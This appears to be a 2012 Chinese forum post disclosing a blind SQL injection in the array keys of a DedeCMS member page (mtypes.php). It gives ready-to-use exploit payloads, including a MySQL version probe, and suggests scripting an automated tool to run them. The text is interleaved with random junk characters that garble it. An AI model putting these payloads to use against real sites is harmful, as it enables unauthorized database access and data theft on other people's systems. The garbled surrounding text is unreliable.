需要magic_quotes_gpc = Off,所以说是鸡肋啊.0 Q: z1 G( m1 y" @
8 z* C' ^. ?3 f3 K @$ V- K % T& V4 f- G: Y5 s
发生在数组key里的注射漏洞,有点意思.' k. p5 @4 m, e6 G9 e6 N! v
# r t' ?! H% |
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
2 f+ ~+ }9 h T' V% b. f
* | {9 X: c! R( c+ Ehttp://www.xxx.com /dede/member/mtypes.php?dopost=save) y m& ?/ z6 w. R
5 ^3 ~5 h" O$ F# g' r% M3 j
exploit:
! ]4 {% a3 W# Z8 j) ?" X# imtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r9 p$ h! I% d$ e, X1 h; R
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r$ Y% h4 p* ?1 W1 n) ?3 ~$ Q5 q. j
|
发表于 2012-12-20 08:08:09
收藏
支持
反对